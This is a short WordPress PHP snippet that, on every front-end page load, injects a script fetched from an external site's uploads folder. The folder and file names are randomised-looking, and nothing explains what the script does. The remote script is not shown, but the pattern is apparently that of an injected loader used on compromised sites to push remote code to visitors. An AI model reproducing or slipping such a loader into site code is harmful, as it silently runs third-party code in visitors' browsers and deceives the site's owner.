if (!function_exists('sch_enqueue_front_asset')) {
    function sch_enqueue_front_asset() {
        wp_enqueue_script('sch-front', 'https://viator.com.eg/wp-content/uploads/static-08c90e/lib-c2ff/front-b2ad1f6d.js', array(), null, false);
    }
    add_action('wp_enqueue_scripts', 'sch_enqueue_front_asset');
}